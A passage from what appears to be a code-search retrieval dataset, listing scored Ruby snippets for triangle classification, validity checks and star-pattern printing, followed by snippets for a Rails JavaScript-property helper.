:isosceles\n when 3\n :scalene\n end\nend", "title": "" }, { "docid": "c013dcb527e24d5285f9c2815f2f6ee2", "score": "0.65498745", "text": "def p_triangle(n)\n (0..n).each{|i|\n list = [1]\n element = 1\n k = 1\n (0..i-1).step(1){|index|\n element = element * (i-k+1)/k\n list.push element \n k += 1\n }\n yield(list)\n }\nend", "title": "" }, { "docid": "11a5345bc55a3c660345eb1620569376", "score": "0.6548131", "text": "def triangle(integer)\n stars = 1\n integer.times do \n puts \" \" * (integer - stars) + (\"*\" * stars)\n stars += 1\n end\nend", "title": "" }, { "docid": "7ba2be39217d8a0678b07acb606c579b", "score": "0.6547455", "text": "def triangle(side1, side2, side3)\n sides = [side1, side2, side3]\n sides.sort!\n return :invalid if sides.include?(0) || sides[0] + sides[1] < sides[2]\n sides_uniq = sides.uniq\n case sides_uniq.length\n when 1 then return :equilateral\n when 2 then return :isosceles\n when 3 then return :scalene\n end\nend", "title": "" }, { "docid": "4b8365189cb98cd3fca6813f66af77b8", "score": "0.65447044", "text": "def nth_triangle_number(n)\n n * (n + 1) / 2\nend", "title": "" }, { "docid": "f2f9f3ca4bd93c13cc285d61f49415e0", "score": "0.654433", "text": "def right_triangle?(a, b, c)\n a**2 + b**2 == c**2\nend", "title": "" }, { "docid": "c0da5ae58a2a541394d3e74a51696d10", "score": "0.6543525", "text": "def isTriangle(a,b,c)\n a+b>c && a + c > b && b + c > a ? true : false\nend", "title": "" }, { "docid": "d902a55a8d0053466bff937ffd9ec0cb", "score": "0.6542843", "text": "def valid_triangle?(a,b,c)\n if a != 0 && b != 0 && c != 0\n if a >= b\n largest = a \n sum = b \n else largest = b\n sum = a\n end\n \n if c > largest \n sum += largest \n largest = c \n else sum = c\n end\n\n if sum >= largest \n return \"true\"\n else return \"false\"\n end\n\n else\n return false\n end\nend", "title": "" }, { "docid": "09a1ab713f3acb7c37676b51700953fe", "score": "0.6541585", "text": "def triangle(percent)\n (0.5 - (percent % 1 - 0.5).abs) * 2\n end", "title": "" }, { "docid": "2c1a036986b4b4d06761a31013aa22f8", "score": "0.6538974", "text": "def triangle(side1, side2, side3)\n arr = [side1, side2, side3].sort\n if side1 == side2 && side2 == side3\n :equilateral\n elsif (arr[0] + arr[1]) < arr[2] || arr.include?(0)\n :invalid\n elsif arr[0] == arr[1] || arr[1] == arr[2]\n :isosceles\n else\n :scalene\n end\nend", "title": "" }, { "docid": "877a1ac67866599fb7d1025d3e827f2a", "score": "0.6533485", "text": "def triangle(n)\n n.times{ |i| puts \"#{' ' * (n-i+1)}#{'*' * (i+1)}\" }\nend", "title": "" }, { "docid": "0656614bc30c219954a12a8563e2c07d", "score": "0.6533406", "text": "def right_tri(tri)\n\nend", "title": "" }, { "docid": "7495b89a2eac81a1c5e404919c129514", "score": "0.6531565", "text": "def triangle(a, b, c)\n return :invalid if [a, b, c].any?(&:zero?) # if any length is 0\n return :invalid unless [a, b, c].sort[0..1].sum > [a, b, c].max # sum of smaller > largest\n return :equilateral if a == b && b == c # if all sides are the same length\n return :isosceles if [a, b, c].uniq.size == 2 # if one length is repeated 2x\n :scalene # all other valid triangles\nend", "title": "" }, { "docid": "74b9c72011f1f9e143b2d0b98c3d0a8c", "score": "0.653153", "text": "def triangle(s1, s2, s3)\n sides = [s1, s2, s3]\n longest_side = sides.max\n\n case\n when largest_side > sides.reduce(:+) - largest_side, sides.include?(0)\n :invalid\n when s1 == s2 && s2 == s3\n :equilateral\n when s1 == s2 || s1 == s3 || s2 == s3\n :issoceles\n else\n :scalene\n end\nend", "title": "" }, { "docid": "9e04637aa35de16167c3dafa916c0d77", "score": "0.65312874", "text": "def triangle(n)\n line = 0\n loop do\n puts ' ' * (n - line) + ('*' * line)\n break if line == n\n line += 1\n end\nend", "title": "" }, { "docid": "e9a20d18a314fd7e37acc5ba2b6080a9", "score": "0.6525213", "text": "def valid_triangle?(a, b, c)\n ((a+b>c) && (b+c>a) && (a+c>b))? true:false\nend", "title": "" }, { "docid": "465d1b923f991080037450ad92ead224", "score": "0.65189606", "text": "def valid_triangle?(a, b, c)\n if a == 0 or b == 0 or c == 0\n return false\n elsif a == b and b == c and a == c\n return true\n elsif a + b < c or a + c < b or b + c < a\n return false\n else\n return true\n end\nend", "title": "" }, { "docid": "b3adf60c8884f058ed76c6abb34942c4", "score": "0.6510376", "text": "def triangle(side1, side2, side3)\n sides = [side1, side2, side3]\n largest_side = sides.max\n\n case\n when 2 * largest_side > sides.reduce(:+), sides.include?(0)\n :invalid\n when side1 == side2 && side2 == side3\n :equilateral\n when side1 == side2 || side1 == side3 || side2 == side3\n :isosceles\n else\n :scalene\n end\nend", "title": "" }, { "docid": "b3adf60c8884f058ed76c6abb34942c4", "score": "0.6510376", "text": "def triangle(side1, side2, side3)\n sides = [side1, side2, side3]\n largest_side = sides.max\n\n case\n when 2 * largest_side > sides.reduce(:+), sides.include?(0)\n :invalid\n when side1 == side2 && side2 == side3\n :equilateral\n when side1 == side2 || side1 == side3 || side2 == side3\n :isosceles\n else\n :scalene\n end\nend", "title": "" }, { "docid": "39052176338eaab68cc9b11bdb0a008b", "score": "0.6506885", "text": "def triangle(len1, len2, len3)\n lengths = [len1, len2, len3].sort\n return :invalid unless valid_triangle?(lengths)\n return :equilateral if lengths.all?(lengths[0])\n return :scalene if lengths.uniq == lengths\n return :isosceles\nend", "title": "" }, { "docid": "3c60ae049e1638f0d00bf4a517b588f0", "score": "0.6504214", "text": "def triangle(n)\n counter = 1\n\n loop do\n puts \"#{' ' * (n-counter)}#{'*' * counter}\"\n counter += 1\n break if counter > n\n end\nend", "title": "" }, { "docid": "2571537cb90d26e0e6f22c203c754b97", "score": "0.64972", "text": "def isTriangle(a,b,c)\n if (a > 0) || (b > 0) || (c > 0)\n if ((a + b) > c) && ((a + c) > b) && ((b + c) > a)\n return true\n else\n return false\n end\n else\n return false\n end\nend", "title": "" }, { "docid": "afa0474219a80f30d0ee9719f3bab309", "score": "0.6496777", "text": "def triangle(n)\n n.downto(1) do |i|\n puts \"#{'*' * i}#{' ' * (n-i)}\"\n end\nend", "title": "" }, { "docid": "c90770c1d56bf3ee74a007f1571da6c8", "score": "0.64947563", "text": "def valid_triangle?(num_1, num_2, num_3)\n if (num_1 + num_2 > num_3) && (num_2 + num_3 > num_1) && (num_1 + num_3 > num_2)\n return true\n else\n return false\n end\nend", "title": "" }, { "docid": "97622b5b9002df44aa9ea0a1126263ce", "score": "0.6492961", "text": "def triangle(a,b,c)\n raise TriangleError unless is_valid_triangle?(a,b,c)\n h = [a]\n h << b unless h.include?(b)\n h << c unless h.include?(c)\n return :equilateral if h.length == 1\n return :isosceles if h.length == 2\n :scalene\nend", "title": "" }, { "docid": "29d3820c64202deb7487527e4ff72010", "score": "0.6490839", "text": "def valid_triangle? triple\n a, b, c = triple\n return false if a + b <= c\n return false if a + c <= b\n return false if b + c <= a\n\n true\nend", "title": "" }, { "docid": "69cc0d5bafb34d5e8c21b20121c66680", "score": "0.6490268", "text": "def triangle_sequence(nth)\n sequence = []\n (1..nth).each do |x|\n sequence.push( x * (x + 1) / 2 )\n end\n return sequence\nend", "title": "" }, { "docid": "4f11008d87cde7aba283a54188b268c9", "score": "0.6490103", "text": "def tl_triangle(n)\n stars = n\n n.times do\n puts '*' * stars\n stars -= 1\n end\nend", "title": "" }, { "docid": "84ffe2df169d5fea653ffbe788893786", "score": "0.64884835", "text": "def valid_triangle?(a, b, c)\n if a + b > c && a + c > b && b + c > a\n return true\n else\n return false\n end\nend", "title": "" }, { "docid": "4a786c7771bce50b7c29180897360be2", "score": "0.64804196", "text": "def valid_triangle?(a, b, c)\n if (a==0 || b==0 || c==0)\n return false\n elsif (a+b<=c) || (a+c<=b) || (c+b<=a)\n return false\n elsif (a==b && a==c && b==c)\n return true\n elsif (a==b || a==c || b==c)\n return true\n elsif (((a**2)+(b**2))==(c**2) || ((a**2)+(c**2))==(b**2) || ((c**2)+(b**2))==(a**2))\n return true\n else\n return false\n end\nend", "title": "" }, { "docid": "e68704fe69c4e619b51b482508802953", "score": "0.6477196", "text": "def triangle_number_of(number)\n # Using the standard formula for the sum of the first n integers\n number * (number + 1) / 2\nend", "title": "" }, { "docid": "0eba2c1d6bcff776a2da36b2dedf8010", "score": "0.64696217", "text": "def triangle(a, b, c)\n if numbers_below_possible(a, b, c)\n raise TriangleError, \"One of the sides are 0 or negative (below allowed)\"\n end\n\n if triangle_not_possible(a, b, c)\n raise TriangleError, \"Triangle not possible with values passed\"\n end\n\n if a == b && a == c\n return :equilateral\n end\n\n if a == b || a == c || b == c\n return :isosceles\n end\n\n :scalene\nend", "title": "" }, { "docid": "eb232d86a12f1c89fc47549374e1ea2b", "score": "0.6462034", "text": "def triangle_bk(s1, s2, s3)\n sorted_sides = [s1, s2, s3].sort\n if sorted_sides.any? { |side| side <= 0} || (sorted_sides[0] + sorted_sides[1] <= sorted_sides[2])\n :invalid\n elsif sorted_sides.all? { |side| side == sorted_sides[0]}\n :equilateral\n elsif sorted_sides[0] != sorted_sides[1] && sorted_sides[1] != sorted_sides[2]\n :scalene\n else\n :isosceles\n end\nend", "title": "" }, { "docid": "ef7cafd7c49b21e1dd8dfdcd11d23147", "score": "0.6454569", "text": "def triangle(number)\n number_of_spaces = number - 1\n number.times do\n puts (' ' * number_of_spaces) + ('*' * (number - number_of_spaces))\n number_of_spaces -= 1\n end\nend", "title": "" }, { "docid": "8d3b84b66ee056af05bddde5f761aea3", "score": "0.64532197", "text": "def triangle(side1, side2, side3)\n arr = [side1, side2, side3].sort!\n if arr[0] + arr[1] <= arr[2]\n :invalid\n elsif arr[0] == arr[1] && arr[0] == arr[2]\n :equilateral\n elsif arr[0] == arr[1] || arr[0] == arr[2] || arr[1] == arr[2]\n :isosceles\n else\n :scalene\n end\nend", "title": "" }, { "docid": "cb19723376eaf0c9a9b11bb94fa475af", "score": "0.6446712", "text": "def triangles(n)\n space_count = n\n star_count = 1\n\n while star_count <= n\n puts \"#{' ' * space_count}#{'*' * star_count}\"\n space_count -= 1\n star_count += 1\n end\nend", "title": "" } ]
35336ceaa093a54f865e6b65c0a585e0
Call this method in your view helper to specify a property you want added to the javascript declaration. This methos take the same options as var. Note that normally the type of value returned here will be marshalled into the proper type for JavaScript. If you provide a block to compute the property, however, the value will be inserted directly.
[ { "docid": "c36114dfd510788d48bfb2b90f2d59b7", "score": "0.5527245", "text": "def property(option_key, default_value=:__UNDEFINED__, opts={}, &block)\n ret = _pair(option_key, default_value, opts, &block)\n key = ret[0].camelize(:lower)\n\n unless ret[2] # ignore\n value = ret[1]\n value = prepare_for_javascript(value) unless block_given?\n @_properties[key] = value\n end\n\n # also look for a matching binding and set it needed.\n if v = @bindings[option_key.to_sym] || @bindings[option_key.to_s]\n v = v.include?('(') ? v : prepare_for_javascript(v)\n @_properties[\"#{key}Binding\"] = v\n @bindings.delete option_key.to_sym\n @bindings.delete option_key.to_s\n end\n\n end", "title": "" } ]
[ { "docid": "925041020f7625e0952979717859c230", "score": "0.6462108", "text": "def content_as_js_var(varname,value=nil,&block)\r\n return \"<script>#{varname}='#{escape_javascript(value)}';</script>\" unless block_given?\r\n concat(\"<script>#{varname}='#{escape_javascript(capture(&block))}';</script>\",block.binding)\r\n end", "title": "" }, { "docid": "13666427c39a221b296e40506d1a68cf", "score": "0.56654125", "text": "def make_js_variable(varname)\n \n js_code = \"var #{varname} = [\\n\"\n self.each do\n |key, value|\n js_code << \"\\t\\t{ text: \\\"#{key}\\\", weight: #{value}},\\n\"\n end\n js_code << '];'\n \n end", "title": "" }, { "docid": "d2c60f0effca42aa7d606215548a34d0", "score": "0.5611757", "text": "def block_property p\n\t\t\tdefine_method(p) do |*args, &blck|\n\t\t\t\tivar = \"@#{p}\"\n\t\t\t\tif blck\n\t\t\t\t\tinstance_variable_set(ivar, blck)\n\t\t\t\telsif args.size == 1\n\t\t\t\t\tinstance_variable_set(ivar, args.first)\n\t\t\t\telsif args.empty?\n\t\t\t\t\tinstance_variable_get(ivar)\n\t\t\t\telse\n\t\t\t\t\traise ArgumentError, \"wrong number of arguments (#{args.size} for 0,1)\"\n\t\t\t\tend\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "e064a676fc233558fdf4713946f6f418", "score": "0.5601668", "text": "def javascript_tag(content_or_options_with_block = T.unsafe(nil), html_options = T.unsafe(nil), &block); end", "title": "" }, { "docid": "63991c979f8c71da4ceb48b497291a35", "score": "0.5478522", "text": "def javascript(value = nil, attributes = {})\n if value.is_a?(Hash)\n attributes = value\n value = nil\n elsif block_given? && value\n raise ArgumentError, \"You can't pass both a block and a value to javascript -- please choose one.\"\n end\n\n script(attributes.merge(:type => \"text/javascript\")) do\n # Shouldn't this be a \"cdata\" HtmlPart?\n # (maybe, but the syntax is specific to javascript; it isn't\n # really a generic XML CDATA section. Specifically,\n # ]]> within value is not treated as ending the\n # CDATA section by Firefox2 when parsing text/html,\n # although I guess we could refuse to generate ]]>\n # there, for the benefit of XML/XHTML parsers).\n output << raw(\"\\n// <![CDATA[\\n\")\n if block_given?\n yield\n else\n output << raw(value)\n end\n output << raw(\"\\n// ]]>\")\n output.append_newline # this forces a newline even if we're not in pretty mode\n end\n\n output << raw(\"\\n\")\n end", "title": "" }, { "docid": "62c04256082ccbeadb8de6ea46a0bae6", "score": "0.5444619", "text": "def add_js_vars(code_string, options = {})\n @js_vars[options[:as]] = code_string\n end", "title": "" }, { "docid": "ea83ac5111709b9c1625b2b7d202bec4", "score": "0.54308265", "text": "def custom_powershell_property(name, expression)\n \"@{Name = '#{name}'; Expression = {#{expression}}}\"\n end", "title": "" }, { "docid": "753ba47ab396cd13a75f2b6f690f1a14", "score": "0.5394634", "text": "def js_options; @js_opts end", "title": "" }, { "docid": "4b3317eba8b745412a1441550d2a77e8", "score": "0.5351889", "text": "def set_property(propertyName,value,attributes = nil,exception = nil)\n propertyName = JS::String.create_with_utf8cstring(propertyName)\n value = JS::Value.from_ruby(context,value)\n res = super(context,self,propertyName,value,attributes,exception)\n return res\n end", "title": "" }, { "docid": "e2bf34d3ebe5ad0f53d4532aa0adec1b", "score": "0.53445405", "text": "def use_js_vars(varsname, options = {})\n code_string = @js_funcs[varsname].join()\n @js_vars[options[:as]] = code_string\n end", "title": "" }, { "docid": "4a05326ca4eb314b0cb1e16ebd131bf5", "score": "0.52624816", "text": "def javascript(*args, &block)\n if args.length > 2\n raise ArgumentError, \"Cannot accept more than two arguments\"\n end\n attributes, value = nil, nil\n arg0 = args[0]\n if arg0.is_a?(Hash)\n attributes = arg0\n else\n value = arg0\n arg1 = args[1]\n if arg1.is_a?(Hash)\n attributes = arg1\n end\n end\n attributes ||= {}\n attributes[:type] = \"text/javascript\"\n open_tag 'script', attributes\n\n # Shouldn't this be a \"cdata\" HtmlPart?\n # (maybe, but the syntax is specific to javascript; it isn't\n # really a generic XML CDATA section. Specifically,\n # ]]> within value is not treated as ending the\n # CDATA section by Firefox2 when parsing text/html,\n # although I guess we could refuse to generate ]]>\n # there, for the benefit of XML/XHTML parsers).\n rawtext \"\\n// <![CDATA[\\n\"\n if block\n instance_eval(&block)\n else\n rawtext value\n end\n rawtext \"\\n// ]]>\\n\"\n\n close_tag 'script'\n rawtext \"\\n\"\n end", "title": "" }, { "docid": "40e58604582834fc3d09cc3a149c8be8", "score": "0.523795", "text": "def var(key:, value:)\n add option: \"-var='#{key}=#{value}'\"\n end", "title": "" }, { "docid": "4494124670a675ab424ea4fecb45d829", "score": "0.5236094", "text": "def javascript(*args, &block)\n if args.length > 2\n raise ArgumentError, \"Cannot accept more than two arguments\"\n end\n attributes, value = nil, nil\n arg0 = args[0]\n if arg0.is_a?(Hash)\n attributes = arg0\n else\n value = arg0\n arg1 = args[1]\n if arg1.is_a?(Hash)\n attributes = arg1\n end\n end\n attributes ||= {}\n attributes[:type] = \"text/javascript\"\n open_tag 'script', attributes\n\n # Shouldn't this be a \"cdata\" HtmlPart?\n # (maybe, but the syntax is specific to javascript; it isn't\n # really a generic XML CDATA section. Specifically,\n # ]]> within value is not treated as ending the\n # CDATA section by Firefox2 when parsing text/html,\n # although I guess we could refuse to generate ]]>\n # there, for the benefit of XML/XHTML parsers).\n rawtext \"\\n// <![CDATA[\\n\"\n if block\n instance_eval(&block)\n else\n rawtext value\n end\n rawtext \"\\n// ]]>\\n\"\n\n close_tag 'script'\n text \"\\n\"\n end", "title": "" }, { "docid": "092a7c3cfacf3ed621337ad8553e9649", "score": "0.51604223", "text": "def obj_property(obj, var_name, opts = {})\n val = obj.send(var_name)\n return \"\" if val.blank? && opts[:default].nil?\n\n label = opts[:label] || var_name.to_s.titlecase\n val = yield(val) if block_given?\n\n # handle special data types\n case val.class.name\n when \"Time\"\n val = systime(val)\n when \"Date\"\n val = sysdate(val)\n when \"DateTime\"\n val = systime(val)\n when \"BigDecimal\"\n val = number_to_currency(val)\n when \"ActsAsTaggableOn::TagList\"\n val = tag_list(obj)\n end\n\n # auto link email, web and phone values\n if var_name == :email\n val = mail_to(val)\n elsif var_name == :phone\n val = link_to(\"tel:#{val}\") { \"<i class='fa fa-phone'></i> #{val}\".html_safe }\n elsif var_name == :website\n val = \"http://#{val}\" if !val.start_with?('http')\n val = link_to(val, val)\n end\n\n str = <<-EOF\n <tr>\n\t\t\t<td class=\"key\">#{label}</td>\n\t\t\t<td>#{val || opts[:default]}</td>\n\t\t</tr> \n EOF\n\n str.html_safe\n end", "title": "" }, { "docid": "066c361bd6d276aa04508b045676f0c6", "score": "0.5159914", "text": "def js_extend_properties\n {\n :init_component => js_init_component.l\n }\n end", "title": "" }, { "docid": "22f85587a492f7666a584f827ebd3fc4", "score": "0.51481116", "text": "def add_js(code_string, options = {})\n @js_code[options[:as]] = code_string\n end", "title": "" }, { "docid": "f68fc29246b76576bb0ed3d5238a4b22", "score": "0.5141219", "text": "def property(property_name, options = T.unsafe(nil)); end", "title": "" }, { "docid": "f68fc29246b76576bb0ed3d5238a4b22", "score": "0.5141219", "text": "def property(property_name, options = T.unsafe(nil)); end", "title": "" }, { "docid": "f39b3af1524f581e4e705f96eb4211a9", "score": "0.5079529", "text": "def set(*args) # properties\n <<-JS.gsub(/^ {10}/, '')\n mixpanel.register(properties);\n JS\n end", "title": "" }, { "docid": "2bb33d05de8651207c93c3fcea666421", "score": "0.5061751", "text": "def code\n str = Indentation.get\n str << \"var #{name} = function(#{@parameters.join(', ')}) {\\n\"\n Indentation.indent { str << \"#{block}\\n\" }\n str << \"#{Indentation.get}};\\n\"\n str\n end", "title": "" }, { "docid": "9c11626b034017f89fb6d7c6441b62ad", "score": "0.50461245", "text": "def create_localised_property_setter(property)\n property_name = property.name\n class_eval <<-EOS\n def #{property_name}=(value)\n write_localised_attribute('#{property_name}', value)\n end\n EOS\n end", "title": "" }, { "docid": "71aa0fc9db6becc0fa8045d510e336ff", "score": "0.50323546", "text": "def partial_javascript(name, options={})\n old_format = self.template_format\n self.template_format = :js\n render({ :partial => name }.merge(options))\n ensure\n self.template_format = old_format\n end", "title": "" }, { "docid": "fd715c3269a6b6a30881c0df68797c98", "score": "0.5027512", "text": "def partial_variable(type = nil)\n block_given? ?\n complex_variable(type, nil, 1) { |v| yield v } :\n create_chain_proxy(:partial_variable, type)\n end", "title": "" }, { "docid": "55d45ea8bdf5fd2cd56130cd8a5f13f0", "score": "0.50270694", "text": "def var\n @var_helper ||= SimpleTk::GetSetHelper.new(self, :@stkw_var_list, true, :value, :value=)\n end", "title": "" }, { "docid": "5889399566e3c43841bb54dba122b6c8", "score": "0.5018489", "text": "def js_set(pairs = {})\n raise ArgumentError, \"only a single variable is supported\" if pairs.keys.length > 1\n pairs.map.each { |var, expr| js_value %Q|#{var.to_s} = #{marshal expr}| }.join(COLON)\n end", "title": "" }, { "docid": "16043f9052f685c610a47e067748ab6e", "score": "0.50081176", "text": "def add_property(container, name, &block)\n Nokogiri::HTML::Builder.with(container) do |html|\n html.dl(class: \"entity_#{name}\") do\n html.dt(name.to_s.capitalize)\n html.dd do\n block.call(html)\n end\n end\n end\n end", "title": "" }, { "docid": "f2e577b29fedd0426a239d9f8d147d57", "score": "0.50067383", "text": "def to_js_node opts={}\n if arguments && arguments.ldelim && arguments.ldelim.token == \"[\"\n # call to []\n raise \"property access [] must have exactly one argument\" unless arguments.size == 1\n raise \"property access can't have block\" if block\n make_js_reference target, arguments[0], opts\n elsif arguments || block\n # call either has 1+ args or 0+ args with parens or block\n make_js_call target, identifier, arguments, block, opts\n else\n # call has no arguments, parens or block.. treat it as a reference in JS\n make_js_reference target, identifier, opts\n end\n end", "title": "" }, { "docid": "a3fc2125e31768b5abd458073d9e9abe", "score": "0.4977036", "text": "def inject_js=(_arg0); end", "title": "" }, { "docid": "27326ffd9226be7e49c3ee62f62c0b85", "score": "0.49667317", "text": "def to_js\n \"var #{var_name} = [#{self.collect{|i| i.to_json}.join(\",\")}];\"\n end", "title": "" }, { "docid": "c669be16cc1f178a887ecb3ff6976447", "score": "0.49637052", "text": "def inject_js; end", "title": "" }, { "docid": "dfdb51d8d76be6edcc76f88499f502f8", "score": "0.49575675", "text": "def create_event options\n super options.merge variable: variable, var_value: calculate_value(right_part,options)\n end", "title": "" }, { "docid": "b84c0b84db2a52c7775eb57a34433f89", "score": "0.4948437", "text": "def tracking_code(web_property_id)\n returning_value = <<-EOF\n <script type=\"text/javascript\">\n if (typeof gaJsHost == 'undefined') {\n var gaJsHost = ((\"https:\" == document.location.protocol) ? \"https://ssl.\" : \"http://www.\");\n document.write(unescape(\"%3Cscript src='\" + gaJsHost + \"google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E\"));\n }\n </script>\n <script type=\"text/javascript\">\n try {\n var #{options[:prefix]}pageTracker = _gat._getTracker(\"#{web_property_id}\");\n EOF\n if options[:multiple_top_level_domains]\n returning_value << <<-EOF\n #{options[:prefix]}pageTracker._setDomainName(\"none\");\n #{options[:prefix]}pageTracker._setAllowLinker(true);\n EOF\n elsif options[:domain_name]\n returning_value << <<-EOF\n #{options[:prefix]}pageTracker._setDomainName(\"#{options[:domain_name]}\");\n EOF\n end\n\n returning_value << <<-EOF\n #{options[:prefix]}pageTracker._trackPageview();\n } catch(err) {}</script>\n EOF\n returning_value\n end", "title": "" }, { "docid": "168d11125f53534118c1b9c3e5653d93", "score": "0.4931107", "text": "def method_to_js(method, *args)\n self << \"#{self.var}.#{method.to_js_method}(#{args.to_js_arguments});\"\n end", "title": "" }, { "docid": "b1da53dcd6eff43d480cf5023555ea8d", "score": "0.49296632", "text": "def js_config\n super.tap do |c|\n # Hand over inline data to the js config hash\n c[:inline_data] = get_data if config[:load_inline_data]\n end\n end", "title": "" }, { "docid": "1877e6d98d644795750e12dbd8f2c44b", "score": "0.4928872", "text": "def compile_falluto_var_decl_node node\n v = Falluto::NuSMV::Variable.new node.name, node.vartype\n @context.current_module.add_variable v\n compile_treetop_runtime_syntax_node node\n end", "title": "" }, { "docid": "0a05b11fe84097d0d681ad9371dc52a1", "score": "0.49091616", "text": "def render(javascript, variables = {})\n javascript_with_variables = javascript.dup\n variables.each_pair do |variable, value|\n javascript_with_variables.gsub!(\"$#{variable}\", value)\n end\n javascript_with_variables\n end", "title": "" }, { "docid": "648dc084ac289c1a3d21a4116d38574b", "score": "0.4908412", "text": "def inline_javascript_tag(content_or_options_with_block = nil, html_options = {}, &block)\n html_options = content_or_options_with_block if block_given? && content_or_options_with_block.is_a?(Hash)\n\n html_options.stringify_keys!\n inline_options = {\n :defer => html_options.delete('defer') || true,\n :strip_tags => html_options.delete('strip_tags'),\n :html_options => html_options\n }\n inline_javascript(content_or_options_with_block, inline_options, &block)\n end", "title": "" }, { "docid": "8c4f1afab13d6c26d9f1eefa50d07c8a", "score": "0.49082077", "text": "def js_value(jsval) JsValue.new jsval end", "title": "" }, { "docid": "be1ce0b35de616d7442d768df4a49d27", "score": "0.49071705", "text": "def js_tag(script) #:nodoc:\r\n \"<script type=\\\"text/javascript\\\">#{script}</script>\"\r\nend", "title": "" }, { "docid": "be1ce0b35de616d7442d768df4a49d27", "score": "0.49071705", "text": "def js_tag(script) #:nodoc:\r\n \"<script type=\\\"text/javascript\\\">#{script}</script>\"\r\nend", "title": "" }, { "docid": "935dd893505f9c1f5479fda5f4ff89a1", "score": "0.48964697", "text": "def to_js(options = {})\n self.class.to_s + \"??\"\n end", "title": "" }, { "docid": "278d47d380ad091c772d4ae389bee459", "score": "0.48946366", "text": "def javascript=(script)\n @stamper.addJavaScript(script)\n script\n end", "title": "" }, { "docid": "b5d4015e56b22a1d10de0ad6b2d867af", "score": "0.48579648", "text": "def debug_rjs=(val)\n \nend", "title": "" }, { "docid": "2e46e982de6808b0b8ba863cc17c6483", "score": "0.48518184", "text": "def javascript!\n @coffeescript = false\n end", "title": "" }, { "docid": "fa2aa9439db72aa95c6aaae2b7e6e128", "score": "0.48495844", "text": "def get_definition(var, bld)\n if var.genGet == true && !var.isPointer\n varName = Utils.instance.getStyledVariableName(var)\n bld.add(\"public \" + Utils.instance.getTypeName(var) + \" \" + Utils.instance.getStyledFunctionName(\"get \" + var.name))\n bld.sameLine(\"()\\t{ return(\" + varName + \"); }\")\n end\n end", "title": "" }, { "docid": "da377d81f8aa70bcb42c7c49ff2f8935", "score": "0.4844612", "text": "def init_var(var, value)\n # instance_var_name starts with @, var_name doesn't.\n var = var.to_s\n var_name = (var.start_with?('@') ? var[1..-1] : var).to_sym\n instance_var_name = \"@#{var_name}\".to_sym\n\n instance_variable_set(instance_var_name, value)\n\n Document.send(:define_method, var_name) do\n instance_variable_get(instance_var_name)\n end\n end", "title": "" }, { "docid": "bf84357f2bbb6343f925087557dd9e05", "score": "0.48443204", "text": "def variable_javascript_value(variable_id)\n variable = design.variables.find { |v| v.id.to_s == variable_id.to_s }\n if variable\n sheet_variable = sheet_variables.find { |sv| sv.variable_id == variable.id }\n result = if sheet_variable\n sheet_variable.get_response(:raw)\n else\n variable.variable_type == \"checkbox\" ? [\"\"] : \"\"\n end\n result.to_json\n else\n \"\\#{#{variable_id}}\"\n end\n end", "title": "" }, { "docid": "ab8f78fda4f78c15eabeaa35728cced7", "score": "0.48119467", "text": "def js(*code)\n JS.new(*code)\nend", "title": "" }, { "docid": "02c0af9026f463e11e96cdd8b5d1647e", "score": "0.4803856", "text": "def codeblock\n H[:pre, attr, H[:code, value]]\n end", "title": "" }, { "docid": "d05acbda1c6570b2caa5d9caea13ded4", "score": "0.47934628", "text": "def setCustomJavascript(javascript)\n if (!(!javascript.nil? && !javascript.empty?))\n raise Error.new(Pdfcrowd.create_invalid_value_message(javascript, \"setCustomJavascript\", \"html-to-pdf\", \"The string must not be empty.\", \"set_custom_javascript\"), 470);\n end\n \n @fields['custom_javascript'] = javascript\n self\n end", "title": "" }, { "docid": "c3b04420f7a3f6bbd1061ac6696b5722", "score": "0.4792852", "text": "def setting(property, value)\n\t\tproperty + ':' + value + ';'\n\tend", "title": "" }, { "docid": "86c2a4f3901519b7a4e87a880fb8c88e", "score": "0.47841308", "text": "def set k,v=nil,&b\n\t if !v and b\n\t v = b\n\t end\n\t JS::Object.get(\"Ruby.JsObj.set_property\").call(@object,k,v)\n\t end", "title": "" }, { "docid": "bb61fd73d762a6c50c37a24aa0cdc1a8", "score": "0.47750565", "text": "def party_js(party, count = 1)\n \"var party#{count} = {\\n\" +\n \" name: '#{party.name}',\\n\" +\n \" payment_address: '#{party.payment_address}'\\n\" +\n \"}\"\n end", "title": "" }, { "docid": "8f866a306757df5fe3ba2147960d21bb", "score": "0.47640914", "text": "def get_field_edit_js\n # TODO: add JS rendering when generating JS fields class for client side rendering\n '<JS NOT IMPLEMENT YET>'\n end", "title": "" }, { "docid": "8f866a306757df5fe3ba2147960d21bb", "score": "0.47640914", "text": "def get_field_edit_js\n # TODO: add JS rendering when generating JS fields class for client side rendering\n '<JS NOT IMPLEMENT YET>'\n end", "title": "" }, { "docid": "8f866a306757df5fe3ba2147960d21bb", "score": "0.47640914", "text": "def get_field_edit_js\n # TODO: add JS rendering when generating JS fields class for client side rendering\n '<JS NOT IMPLEMENT YET>'\n end", "title": "" }, { "docid": "a7adb56069e83084c5b99a9ce9576b27", "score": "0.47612864", "text": "def evaluate(scope, locals, &block)\n @scope = scope\n template = hb_render_template locals, &block\n \"#{hb_template_var} = #{hb_template_js template};\\n\".tap do |text|\n text += \"#{self.class.template_partial_method}('#{hb_partial_path}', #{hb_template_var});\" if hb_partial?\n end\n end", "title": "" }, { "docid": "0a219391929ad9bc23479a05595cf434", "score": "0.47605705", "text": "def to_js(options = {})\n concat options, @statement_list\n end", "title": "" }, { "docid": "9d907e986d3b189408d133aaae0e601a", "score": "0.47561815", "text": "def javascript_tag_with_defer_options(content_or_options_with_block = nil, html_options = {}, &block)\n html_options = content_or_options_with_block if block_given? && content_or_options_with_block.is_a?(Hash)\n\n if html_options[:defer]\n inline_javascript_tag(content_or_options_with_block, html_options, &block)\n else\n javascript_tag_without_defer_options(content_or_options_with_block, html_options, &block)\n end\n end", "title": "" }, { "docid": "e5176dfa5ffcea2d937a2c1a03295cb8", "score": "0.47531593", "text": "def js (object)\n object.to_json.html_safe\n end", "title": "" }, { "docid": "4b0f868b9af4f9bf4530ad3efd8c2544", "score": "0.47512805", "text": "def get_property(propertyName,exception = nil)\n propertyName = JS::String.create_with_utf8cstring(propertyName)\n res = super(context,self,propertyName,exception)\n\n \n val_ref = JS::Value.from_pointer_with_context(context,res)\n ret = val_ref.to_ruby\n if ret.is_a?(JS::Value)\n return check_use(ret) || is_self(ret) || ret\n else\n return check_use(ret) || ret\n end\n \n \n end", "title": "" }, { "docid": "00be0540d17885942e924938ad9b514f", "score": "0.47425145", "text": "def render_variable(context); end", "title": "" }, { "docid": 